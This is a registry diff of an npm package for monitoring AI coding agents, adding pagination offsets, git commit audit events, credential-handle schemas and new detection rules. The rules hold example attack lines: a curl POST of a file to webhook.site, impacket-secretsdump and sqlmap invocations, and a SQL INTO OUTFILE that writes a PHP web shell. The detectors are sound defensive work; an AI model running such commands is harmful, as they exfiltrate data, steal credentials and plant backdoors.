@akasecurity/ai-tc-copilot 0.9.23 → 0.9.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/scripts/sync.js CHANGED
@@ -9656,7 +9656,11 @@ var ListFindingTypesQuery = object({
9656
9656
  // and so is not bounded by what any page happens to hold.
9657
9657
  includeId: string2().optional(),
9658
9658
  limit: coerce_exports.number().int().min(1).max(MAX_FINDING_TYPES_LIMIT).optional(),
9659
- cursor: string2().optional()
9659
+ cursor: string2().optional(),
9660
+ // A row position to read from, for jumping to a page instead of stepping to
9661
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
9662
+ // from wherever it lands.
9663
+ offset: coerce_exports.number().int().min(0).optional()
9660
9664
  });
9661
9665
  var ListFindingTypesResponse = object({
9662
9666
  totals: object({
@@ -9737,7 +9741,11 @@ var ListFindingInstancesQuery = object({
9737
9741
  sessionId: string2().optional(),
9738
9742
  from: iso_exports.datetime().optional(),
9739
9743
  limit: coerce_exports.number().int().min(1).max(MAX_FLAT_FINDINGS_LIMIT).optional(),
9740
- cursor: string2().optional()
9744
+ cursor: string2().optional(),
9745
+ // A row position to read from, for jumping to a page instead of stepping to
9746
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
9747
+ // from wherever it lands.
9748
+ offset: coerce_exports.number().int().min(0).optional()
9741
9749
  });
9742
9750
  var ListFindingInstancesResponse = object({
9743
9751
  // Instances matching the filters across the whole scope, not just this
@@ -9809,7 +9817,11 @@ var ListFindingLocationsQuery = object({
9809
9817
  // rather than a deep-link corner. Never affects totals, facets or the cursor.
9810
9818
  includeId: string2().optional(),
9811
9819
  limit: coerce_exports.number().int().min(1).max(MAX_FINDING_LOCATIONS_LIMIT).optional(),
9812
- cursor: string2().optional()
9820
+ cursor: string2().optional(),
9821
+ // A row position to read from, for jumping to a page instead of stepping to
9822
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
9823
+ // from wherever it lands.
9824
+ offset: coerce_exports.number().int().min(0).optional()
9813
9825
  });
9814
9826
  var ListFindingLocationsResponse = object({
9815
9827
  totals: object({
@@ -10302,7 +10314,13 @@ var AuditEventType = _enum([
10302
10314
  // is doing — a write-through of the native host's in-memory tracker, so a
10303
10315
  // second process (aka extension status) and a restarted host both have
10304
10316
  // somewhere to read it back from.
10305
- "capture_status"
10317
+ "capture_status",
10318
+ // One row per commit a session's checkout reached while a git command the
10319
+ // agent ran was running, hung off the session root. Its `attributes` follow
10320
+ // `GitCommitAttributes`: the commit id, the kind of HEAD move, the
10321
+ // attribution, and `scope_key`, the repository the command ran in; never
10322
+ // the branch, commit message, author or diff.
10323
+ "git_commit"
10306
10324
  ]).meta({ id: "AuditEventType" });
10307
10325
  var AttributeBag = record(string2(), unknown());
10308
10326
  var HostAttributes = object({
@@ -10410,6 +10428,13 @@ var ToolCallAttributes = object({
10410
10428
  parent_uuid: string2().optional(),
10411
10429
  run_key: string2().optional()
10412
10430
  }).catchall(unknown());
10431
+ var GitCommitKind = _enum(["commit", "merge", "rebase", "cherry-pick", "am", "revert"]);
10432
+ var GitCommitAttributes = object({
10433
+ commit: string2().regex(/^[0-9a-f]{40}([0-9a-f]{24})?$/),
10434
+ kind: GitCommitKind,
10435
+ attribution: literal("command_window"),
10436
+ scope_key: string2().optional()
10437
+ }).catchall(unknown());
10413
10438
  var CaptureAttributes = object({
10414
10439
  // The harness/tool that produced the capture (`claude-code`, `cli`, …). A
10415
10440
  // column on the legacy `events` table; here it rides the bag because a
@@ -12446,7 +12471,11 @@ var MAX_VAULT_PAGE_LIMIT = 200;
12446
12471
  var ListVaultInventoryQuery = object({
12447
12472
  limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
12448
12473
  // Opaque; names the last row of the page just served.
12449
- cursor: string2().optional()
12474
+ cursor: string2().optional(),
12475
+ // A row position to read from, for jumping to a page instead of stepping to
12476
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
12477
+ // from wherever it lands.
12478
+ offset: coerce_exports.number().int().min(0).optional()
12450
12479
  });
12451
12480
  var ListVaultInventoryResponse = object({
12452
12481
  // Vaulted values across the whole store, not just this page — cursor-
@@ -12458,7 +12487,11 @@ var ListVaultInventoryResponse = object({
12458
12487
  });
12459
12488
  var ListVaultReuseQuery = object({
12460
12489
  limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
12461
- cursor: string2().optional()
12490
+ cursor: string2().optional(),
12491
+ // A row position to read from, for jumping to a page instead of stepping to
12492
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
12493
+ // from wherever it lands.
12494
+ offset: coerce_exports.number().int().min(0).optional()
12462
12495
  });
12463
12496
  var ListVaultReuseResponse = object({
12464
12497
  // Reused values across the whole store — the number the section's claim
@@ -12474,9 +12507,15 @@ var ListVaultDerefsQuery = object({
12474
12507
  // over a Server Action, which preserves the type, never as a URL param.
12475
12508
  includeBatched: boolean2().optional(),
12476
12509
  limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
12477
- cursor: string2().optional()
12510
+ cursor: string2().optional(),
12511
+ // A row position to read from, for jumping to a page instead of stepping to
12512
+ // it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
12513
+ // from wherever it lands.
12514
+ offset: coerce_exports.number().int().min(0).optional()
12478
12515
  });
12479
12516
  var ListVaultDerefsResponse = object({
12517
+ // Rows this filter selects across the whole trail, not just this page.
12518
+ totals: object({ derefs: number2().int().nonnegative() }),
12480
12519
  items: array(VaultDeref),
12481
12520
  nextCursor: string2().nullable(),
12482
12521
  // Display/view-render rows the query hid, over the WHOLE trail rather than
@@ -13221,6 +13260,45 @@ var ConfigInventoryAck = object({
13221
13260
  accepted: number2().int().nonnegative()
13222
13261
  });
13223
13262
 
13263
+ // ../../packages/schema/src/zod/credential-handles.ts
13264
+ var CREDENTIAL_SLUG_SOURCE = "[a-z0-9](?:[a-z0-9-]{0,62}[a-z0-9])?";
13265
+ var CredentialSlug = string2().regex(
13266
+ new RegExp(`^${CREDENTIAL_SLUG_SOURCE}$`),
13267
+ "must be lower-case letters, digits and dashes"
13268
+ );
13269
+ var HANDLE_SOURCE = `\\[\\[aka:cred:(${CREDENTIAL_SLUG_SOURCE})\\]\\]`;
13270
+ function credentialHandleScanner() {
13271
+ return new RegExp(HANDLE_SOURCE, "g");
13272
+ }
13273
+ var CREDENTIAL_RESOLVE_BATCH_MAX = 20;
13274
+ var CREDENTIAL_VALUE_MAX_LENGTH = 65536;
13275
+ var AvailableCredential = object({
13276
+ slug: CredentialSlug,
13277
+ description: string2().max(500),
13278
+ /**
13279
+ * The value's sighting tokens under each accepted sighting-key version, so a
13280
+ * machine can recognise the value when it is pasted. Absent when the store
13281
+ * could not be read.
13282
+ */
13283
+ lookups: array(string2().max(200)).max(SIGHTING_ALIASES_MAX + 1).optional()
13284
+ }).strict();
13285
+ var AvailableCredentialsResponse = object({ credentials: array(AvailableCredential) }).strict();
13286
+ var ResolveCredentialsRequest = object({
13287
+ slugs: array(CredentialSlug).min(1).max(CREDENTIAL_RESOLVE_BATCH_MAX).refine((slugs) => new Set(slugs).size === slugs.length, "slugs must be unique"),
13288
+ sessionId: string2().min(1).max(128).nullable()
13289
+ }).strict();
13290
+ var CredentialRefusalReason = _enum([
13291
+ "no_grant",
13292
+ "credential_not_found",
13293
+ "store_unavailable"
13294
+ ]);
13295
+ var ResolveCredentialsResponse = object({
13296
+ resolved: array(
13297
+ object({ slug: CredentialSlug, value: string2().max(CREDENTIAL_VALUE_MAX_LENGTH) }).strict()
13298
+ ),
13299
+ refused: array(object({ slug: CredentialSlug, reason: CredentialRefusalReason }).strict())
13300
+ }).strict();
13301
+
13224
13302
  // ../../packages/schema/src/zod/credential-status.ts
13225
13303
  var CredentialStatus = _enum(["rotation_overdue", "exposed"]).meta({ id: "CredentialStatus" });
13226
13304
 
@@ -18103,7 +18181,7 @@ function syncFailureRejectCondition(column = "sync_failure") {
18103
18181
  }
18104
18182
 
18105
18183
  // ../../packages/persistence/src/repositories/history-sync.ts
18106
- var STRUCTURAL_EVENT_TYPES = ["session", "llm_call", "tool_call"];
18184
+ var STRUCTURAL_EVENT_TYPES = ["session", "llm_call", "tool_call", "git_commit"];
18107
18185
  var TYPE_LIST = STRUCTURAL_EVENT_TYPES.map((t) => `'${t}'`).join(", ");
18108
18186
  var CAPTURE_TYPE_LIST = OUTBOX_CAPTURE_TYPE_LIST;
18109
18187
  var COUNTED_EVENT_TYPES = [
@@ -21841,7 +21919,7 @@ var SqliteFindingsRepository = class {
21841
21919
  };
21842
21920
  const limit = query.limit ?? DEFAULT_FINDING_TYPES_LIMIT;
21843
21921
  const cursor = query.cursor === void 0 ? null : decodeGroupCursor(query.cursor);
21844
- const start = cursor === null ? 0 : firstAfter(sorted, cursor);
21922
+ const start = query.offset ?? (cursor === null ? 0 : firstAfter(sorted, cursor));
21845
21923
  const page = sorted.slice(start, start + limit);
21846
21924
  const lastOnPage = page.at(-1);
21847
21925
  const nextCursor = start + limit < sorted.length && lastOnPage ? encodeGroupCursor(lastOnPage) : null;
@@ -21935,7 +22013,7 @@ var SqliteFindingsRepository = class {
21935
22013
  accumulator.add(row);
21936
22014
  if (!matchesInstanceFilters(row, opts)) continue;
21937
22015
  total += 1;
21938
- if (!isPastCursor(row)) continue;
22016
+ if (query.offset === void 0 ? !isPastCursor(row) : total <= query.offset) continue;
21939
22017
  if (items.length < limit) {
21940
22018
  items.push(toInstanceDetail(row));
21941
22019
  last = row;
@@ -22024,7 +22102,7 @@ var SqliteFindingsRepository = class {
22024
22102
  }
22025
22103
  }
22026
22104
  sorted.sort(compareLocationOrder);
22027
- const start = cursor === null ? 0 : firstLocationAfter(sorted, cursor);
22105
+ const start = query.offset ?? (cursor === null ? 0 : firstLocationAfter(sorted, cursor));
22028
22106
  const page = sorted.slice(start, start + limit);
22029
22107
  const lastOnPage = page.at(-1);
22030
22108
  const nextCursor = start + limit < sorted.length && lastOnPage ? encodeLocationCursor(lastOnPage) : null;
@@ -24652,6 +24730,9 @@ function pageLimit(requested, fallback) {
24652
24730
  if (requested === void 0) return fallback;
24653
24731
  return Math.min(Math.max(1, Math.trunc(requested)), MAX_VAULT_PAGE_LIMIT);
24654
24732
  }
24733
+ function pageOffset(requested) {
24734
+ return requested === void 0 ? 0 : Math.max(0, Math.trunc(requested));
24735
+ }
24655
24736
  function encodeReuseCursor(payload) {
24656
24737
  return Buffer.from(JSON.stringify(payload)).toString("base64url");
24657
24738
  }
@@ -24999,7 +25080,8 @@ var SqliteSecretVaultRepository = class {
24999
25080
  */
25000
25081
  listInventory(query = {}, now = Date.now()) {
25001
25082
  const limit = pageLimit(query.limit, DEFAULT_VAULT_INVENTORY_LIMIT);
25002
- const cursor = query.cursor === void 0 ? null : decodeKeysetCursor(query.cursor);
25083
+ const offset = pageOffset(query.offset);
25084
+ const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeKeysetCursor(query.cursor);
25003
25085
  const where = cursor === null ? "" : "WHERE (v.last_seen < :cursorLastSeen OR (v.last_seen = :cursorLastSeen AND v.pointer_id < :cursorPointerId))";
25004
25086
  const rows = allRows(
25005
25087
  this.db.prepare(
@@ -25013,11 +25095,12 @@ var SqliteSecretVaultRepository = class {
25013
25095
  FROM secret_vault v
25014
25096
  ${where}
25015
25097
  ORDER BY v.last_seen DESC, v.pointer_id DESC
25016
- LIMIT :limit`
25098
+ LIMIT :limit OFFSET :offset`
25017
25099
  ),
25018
25100
  bindParams({
25019
25101
  now,
25020
25102
  limit: limit + 1,
25103
+ offset,
25021
25104
  ...cursor === null ? {} : { cursorLastSeen: cursor.startedAtMs, cursorPointerId: cursor.id }
25022
25105
  })
25023
25106
  );
@@ -25041,7 +25124,8 @@ var SqliteSecretVaultRepository = class {
25041
25124
  */
25042
25125
  listReuse(query = {}, now = Date.now()) {
25043
25126
  const limit = pageLimit(query.limit, DEFAULT_VAULT_INVENTORY_LIMIT);
25044
- const cursor = query.cursor === void 0 ? null : decodeReuseCursor(query.cursor);
25127
+ const offset = pageOffset(query.offset);
25128
+ const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeReuseCursor(query.cursor);
25045
25129
  const after = cursor === null ? "" : `AND (v.occurrence_count < :cursorOccurrences
25046
25130
  OR (v.occurrence_count = :cursorOccurrences AND v.pointer_id < :cursorPointerId))`;
25047
25131
  const rows = allRows(
@@ -25056,11 +25140,12 @@ var SqliteSecretVaultRepository = class {
25056
25140
  FROM secret_vault v
25057
25141
  WHERE ${REUSED_PREDICATE} ${after}
25058
25142
  ORDER BY v.occurrence_count DESC, v.pointer_id DESC
25059
- LIMIT :limit`
25143
+ LIMIT :limit OFFSET :offset`
25060
25144
  ),
25061
25145
  bindParams({
25062
25146
  now,
25063
25147
  limit: limit + 1,
25148
+ offset,
25064
25149
  ...cursor === null ? {} : { cursorOccurrences: cursor.occurrences, cursorPointerId: cursor.pointerId }
25065
25150
  })
25066
25151
  );
@@ -25085,7 +25170,8 @@ var SqliteSecretVaultRepository = class {
25085
25170
  */
25086
25171
  listDerefs(query = {}) {
25087
25172
  const limit = pageLimit(query.limit, DEFAULT_VAULT_DEREFS_LIMIT);
25088
- const cursor = query.cursor === void 0 ? null : decodeKeysetCursor(query.cursor);
25173
+ const offset = pageOffset(query.offset);
25174
+ const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeKeysetCursor(query.cursor);
25089
25175
  const conditions = [];
25090
25176
  if (query.includeBatched !== true) {
25091
25177
  conditions.push(`reason NOT IN ('display', 'view-render')`);
@@ -25098,21 +25184,28 @@ var SqliteSecretVaultRepository = class {
25098
25184
  this.db.prepare(
25099
25185
  `SELECT id, pointer_id, at, target, reason, outcome, grant_id, pointer_count
25100
25186
  FROM secret_vault_deref ${where}
25101
- ORDER BY at DESC, id DESC LIMIT :limit`
25187
+ ORDER BY at DESC, id DESC LIMIT :limit OFFSET :offset`
25102
25188
  ),
25103
25189
  bindParams({
25104
25190
  limit: limit + 1,
25191
+ offset,
25105
25192
  ...cursor === null ? {} : { cursorAt: cursor.startedAtMs, cursorId: cursor.id }
25106
25193
  })
25107
25194
  );
25108
25195
  const hasMore = rows.length > limit;
25109
25196
  const page = hasMore ? rows.slice(0, limit) : rows;
25110
25197
  const last = page[page.length - 1];
25111
- const hiddenBatched = query.includeBatched === true ? 0 : countScalar(
25112
- this.db,
25113
- `SELECT count(*) AS n FROM secret_vault_deref WHERE reason IN ('display', 'view-render')`
25114
- );
25198
+ const counts = getRow(
25199
+ this.db.prepare(
25200
+ `SELECT count(*) AS total,
25201
+ count(*) FILTER (WHERE reason IN ('display', 'view-render')) AS hidden
25202
+ FROM secret_vault_deref`
25203
+ )
25204
+ ) ?? { total: 0, hidden: 0 };
25205
+ const includeBatched = query.includeBatched === true;
25206
+ const hiddenBatched = includeBatched ? 0 : counts.hidden;
25115
25207
  return {
25208
+ totals: { derefs: includeBatched ? counts.total : counts.total - counts.hidden },
25116
25209
  items: page.map((r) => ({
25117
25210
  id: r.id,
25118
25211
  pointerId: r.pointer_id,
@@ -29907,7 +30000,11 @@ function maskMatch(raw) {
29907
30000
  }
29908
30001
 
29909
30002
  // ../../packages/detections/src/pointer-shield.ts
29910
- var SHIELDED_SOURCE = `${POINTER_TOKEN_PATTERN.source}|${SIGHTING_TOKEN_PATTERN.source}`;
30003
+ var SHIELDED_SOURCE = [
30004
+ POINTER_TOKEN_PATTERN.source,
30005
+ SIGHTING_TOKEN_PATTERN.source,
30006
+ credentialHandleScanner().source
30007
+ ].join("|");
29911
30008
  function shieldPointers(text) {
29912
30009
  const spans = [];
29913
30010
  let out = null;
@@ -30400,6 +30497,27 @@ var cloud_metadata_access_default = {
30400
30497
  }
30401
30498
  };
30402
30499
 
30500
+ // ../../rules/agent-egress/oast-c2-host.json
30501
+ var oast_c2_host_default = {
30502
+ specVersion: 1,
30503
+ id: "agent-egress/oast-c2-host",
30504
+ name: "Request to a webhook-catcher or out-of-band callback host",
30505
+ category: "custom",
30506
+ severity: "high",
30507
+ matcher: {
30508
+ type: "regex",
30509
+ pattern: `(?<![\\s\\S])[ \\t]*['"]?https?://(?:[^\\s/@]{1,100}@)?\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)|\\b(?=(?:curl|wget|ncat|nc|socat|telnet|http|https|xh|aria2c|iwr|irm|Invoke-WebRequest|Invoke-RestMethod|nslookup|dig|host|drill|ping6?|getent|resolvectl)\\b)(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:curl|wget|ncat|nc|socat|telnet|http|https|xh|aria2c|iwr|irm|Invoke-WebRequest|Invoke-RestMethod|nslookup|dig|host|drill|ping6?|getent|resolvectl)\\b(?!:)(?:[^\\n;|&\\\\]|(?<=[$<>]\\([^()\\n]{0,99})(?:[;|]|&&)(?=[^()\\n]{0,99}\\))|\\\\[\\s\\S]|&(?!&)){0,400}?(?:(?<=://(?:[^\\s/@]{1,100}@)?)|(?<=(?:^|[^\\s:,=])[ \\t]{1,16}['"]?)|(?<=(?:tcp|udp|ssl)[46]?:))\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)|\\b(?=[pndbr])(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:python[0-9.]{0,4}|node|deno|bun|ruby|perl|php|pwsh|powershell)\\b[^\\n]{0,400}?https?://(?:[^\\s/@]{1,100}@)?\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)`,
30510
+ flags: "gim"
30511
+ },
30512
+ examples: [
30513
+ "curl -s -X POST https://webhook.site/6f1c2d3e-4a5b-6c7d-8e9f-0a1b2c3d4e5f -d @out.txt",
30514
+ "wget -qO- https://abc123.oast.fun/"
30515
+ ],
30516
+ appliesTo: {
30517
+ eventKinds: ["tool_use"]
30518
+ }
30519
+ };
30520
+
30403
30521
  // ../../rules/agent-egress/object-storage-file-upload.json
30404
30522
  var object_storage_file_upload_default = {
30405
30523
  specVersion: 1,
@@ -31338,6 +31456,27 @@ var object_storage_upload_default = {
31338
31456
  }
31339
31457
  };
31340
31458
 
31459
+ // ../../rules/command-risk/offensive-security-tool.json
31460
+ var offensive_security_tool_default = {
31461
+ specVersion: 1,
31462
+ id: "command-risk/offensive-security-tool",
31463
+ name: "Offensive security tool run from a command",
31464
+ category: "custom",
31465
+ severity: "high",
31466
+ matcher: {
31467
+ type: "regex",
31468
+ pattern: `\\b(?=(?:impacket-[a-z]{3,20}|(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec)(?:\\.py)?|(?:psexec|atexec|dcomexec)\\.py|mimikatz(?:\\.exe)?|Rubeus(?:\\.exe)?|SharpHound(?:\\.exe)?|bloodhound-python|kerbrute|(?:pypykatz|evil-winrm)|(?:crackmapexec|netexec|nxc)|(?:sqlmap|ncrack)(?:\\.py)?|(?:hydra|medusa)(?:\\.exe)?(?=[ \\t]+(?:-(?![hvV][ \\t]*(?:$|[;&|)]))[A-Za-z0-9]|['"]?[a-z0-9+-]{2,20}://|['"]?(?:[0-9]{1,3}(?:\\.[0-9]{1,3}){3}|\\[[0-9a-f:]{2,39}\\]))))(?![\\w-]))(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:impacket-[a-z]{3,20}|(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec)(?:\\.py)?|(?:psexec|atexec|dcomexec)\\.py|mimikatz(?:\\.exe)?|Rubeus(?:\\.exe)?|SharpHound(?:\\.exe)?|bloodhound-python|kerbrute|(?:pypykatz|evil-winrm)|(?:crackmapexec|netexec|nxc)|(?:sqlmap|ncrack)(?:\\.py)?|(?:hydra|medusa)(?:\\.exe)?(?=[ \\t]+(?:-(?![hvV][ \\t]*(?:$|[;&|)]))[A-Za-z0-9]|['"]?[a-z0-9+-]{2,20}://|['"]?(?:[0-9]{1,3}(?:\\.[0-9]{1,3}){3}|\\[[0-9a-f:]{2,39}\\]))))(?![\\w-])|\\b(?=python[0-9.]{0,4}[ \\t])(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})python[0-9.]{0,4}[ \\t]+(?:[\\w.~-]*/){0,8}(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec|psexec|atexec|dcomexec|sqlmap)\\.py(?![\\w-])|\\b(?:Invoke-(?:Kerberoast|Mimikatz|DCSync)|lsadump::(?:dcsync|sam|lsa|secrets)|sekurlsa::(?:logonpasswords|ekeys|tickets|wdigest|msv)|kerberos::(?:golden|ptt))(?![\\w-])`,
31469
+ flags: "gim"
31470
+ },
31471
+ examples: [
31472
+ "impacket-secretsdump -just-dc corp.example/admin@dc01.example",
31473
+ 'sqlmap -u "https://shop.example/item?id=1" --batch'
31474
+ ],
31475
+ appliesTo: {
31476
+ eventKinds: ["tool_use"]
31477
+ }
31478
+ };
31479
+
31341
31480
  // ../../rules/command-risk/pkill-broad.json
31342
31481
  var pkill_broad_default = {
31343
31482
  specVersion: 1,
@@ -31416,6 +31555,27 @@ var rm_rf_home_or_shared_default = {
31416
31555
  }
31417
31556
  };
31418
31557
 
31558
+ // ../../rules/command-risk/sql-log-webshell.json
31559
+ var sql_log_webshell_default = {
31560
+ specVersion: 1,
31561
+ id: "command-risk/sql-log-webshell",
31562
+ name: "SQL statement that writes a web-executable script file",
31563
+ category: "custom",
31564
+ severity: "high",
31565
+ matcher: {
31566
+ type: "regex",
31567
+ pattern: `\\bSET[ \\t]{1,8}(?:(?:GLOBAL|PERSIST)[ \\t]{1,8}|@@(?:global|persist)\\.)(?:general|slow_query)_log_file[ \\t]{0,8}:?=[ \\t]{0,8}['"][^'"\\n]{1,200}\\.(?:jspx?|jspf|php[0-9]?|phtml|pht|phar|asp|aspx|ashx|asmx|cfm|shtml)(?=[ \\t.]{0,256}['"]|::\\$\\w{0,20}['"]|;[^'"/\\\\\\n]{0,200}['"])|\\bINTO\\s{1,8}(?:OUTFILE|DUMPFILE)\\s{1,8}['"][^'"\\n]{1,200}\\.(?:jspx?|jspf|php[0-9]?|phtml|pht|phar|asp|aspx|ashx|asmx|cfm|shtml)(?=[ \\t.]{0,256}['"]|::\\$\\w{0,20}['"]|;[^'"/\\\\\\n]{0,200}['"])`,
31568
+ flags: "gim"
31569
+ },
31570
+ examples: [
31571
+ "SET GLOBAL general_log_file = '/var/www/html/x1.jsp'",
31572
+ "SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php'"
31573
+ ],
31574
+ appliesTo: {
31575
+ eventKinds: ["tool_use"]
31576
+ }
31577
+ };
31578
+
31419
31579
  // ../../rules/core-code-context/db-table-name.json
31420
31580
  var db_table_name_default = {
31421
31581
  specVersion: 1,
@@ -32775,13 +32935,15 @@ var BUNDLED_PACKS = [
32775
32935
  cloud_metadata_access_default,
32776
32936
  object_storage_file_upload_default,
32777
32937
  agent_probe_host_default,
32778
- unshare_user_namespace_default
32938
+ unshare_user_namespace_default,
32939
+ oast_c2_host_default
32779
32940
  ],
32780
32941
  shortNames: {
32781
32942
  "agent-egress/cloud-metadata-access": "Cloud metadata access",
32782
32943
  "agent-egress/object-storage-file-upload": "Object storage file upload",
32783
32944
  "agent-egress/agent-probe-host": "Agent probe host",
32784
- "agent-egress/unshare-user-namespace": "User namespace unshare"
32945
+ "agent-egress/unshare-user-namespace": "User namespace unshare",
32946
+ "agent-egress/oast-c2-host": "Webhook-catcher host"
32785
32947
  }
32786
32948
  },
32787
32949
  {
@@ -32892,7 +33054,9 @@ var BUNDLED_PACKS = [
32892
33054
  object_storage_upload_default,
32893
33055
  alibaba_oss_host_default,
32894
33056
  download_then_execute_default,
32895
- recon_then_egress_default
33057
+ recon_then_egress_default,
33058
+ offensive_security_tool_default,
33059
+ sql_log_webshell_default
32896
33060
  ],
32897
33061
  shortNames: {
32898
33062
  "command-risk/pkill-broad": "Broad pkill",
@@ -32907,7 +33071,9 @@ var BUNDLED_PACKS = [
32907
33071
  "command-risk/object-storage-upload": "Object storage upload",
32908
33072
  "command-risk/alibaba-oss-host": "Alibaba OSS host",
32909
33073
  "command-risk/download-then-execute": "Download then execute",
32910
- "command-risk/recon-then-egress": "Recon with egress"
33074
+ "command-risk/recon-then-egress": "Recon with egress",
33075
+ "command-risk/offensive-security-tool": "Offensive security tool",
33076
+ "command-risk/sql-log-webshell": "SQL write of a web script"
32911
33077
  }
32912
33078
  },
32913
33079
  {
@@ -33523,8 +33689,25 @@ function bundledMaskingRules() {
33523
33689
  return ensureBundledPacks() ? getLoadedRules() : null;
33524
33690
  }
33525
33691
 
33692
+ // ../../packages/plugin-sdk/src/regular-file.ts
33693
+ import { closeSync as closeSync2, constants, fstatSync, openSync as openSync2, readFileSync as readFileSync16, readSync } from "fs";
33694
+ function notRegularFile(path2) {
33695
+ return `not a regular file: ${path2}`;
33696
+ }
33697
+ function readRegularFile(path2, maxBytes) {
33698
+ const fd = openSync2(path2, constants.O_RDONLY | constants.O_NONBLOCK);
33699
+ try {
33700
+ const stat2 = fstatSync(fd);
33701
+ if (!stat2.isFile()) throw new Error(notRegularFile(path2));
33702
+ if (maxBytes !== void 0 && stat2.size > maxBytes) throw new Error(`file too large: ${path2}`);
33703
+ return readFileSync16(fd, "utf8");
33704
+ } finally {
33705
+ closeSync2(fd);
33706
+ }
33707
+ }
33708
+
33526
33709
  // ../../packages/plugin-sdk/src/repo.ts
33527
- import { existsSync as existsSync9, readFileSync as readFileSync16, statSync as statSync7 } from "fs";
33710
+ import { existsSync as existsSync9, statSync as statSync7 } from "fs";
33528
33711
  import { basename as basename2, dirname as dirname5, isAbsolute as isAbsolute3, join as join24, sep as sep4 } from "path";
33529
33712
  function remoteWithoutCredentials(remote) {
33530
33713
  const withoutInfo = withoutUserinfo(remote);
@@ -33605,6 +33788,7 @@ function resolveWorktreeRoot(cwd) {
33605
33788
  return void 0;
33606
33789
  }
33607
33790
  }
33791
+ var REFLOG_TAIL_BYTES = 256 * 1024;
33608
33792
  function findGitRoot(start) {
33609
33793
  let dir = start;
33610
33794
  for (; ; ) {
@@ -33635,9 +33819,10 @@ function resolveGitContext(root) {
33635
33819
  const headRoot = basename2(commonGitDir) === ".git" ? dirname5(commonGitDir) : root;
33636
33820
  return { configPath: join24(commonGitDir, "config"), headRoot };
33637
33821
  }
33822
+ var MAX_GIT_METADATA_BYTES = 1024 * 1024;
33638
33823
  function safeRead(path2) {
33639
33824
  try {
33640
- return readFileSync16(path2, "utf8");
33825
+ return readRegularFile(path2, MAX_GIT_METADATA_BYTES);
33641
33826
  } catch {
33642
33827
  return void 0;
33643
33828
  }
@@ -33713,6 +33898,23 @@ function buildIngestEvent(input) {
33713
33898
  };
33714
33899
  }
33715
33900
 
33901
+ // ../../packages/plugin-sdk/src/diagnostics.ts
33902
+ function writeDiagnosticToStderr(line) {
33903
+ process.stderr.write(`${line}
33904
+ `);
33905
+ }
33906
+ function diagnosticWriter(sink) {
33907
+ if (sink === void 0) return writeDiagnosticToStderr;
33908
+ return (line) => {
33909
+ try {
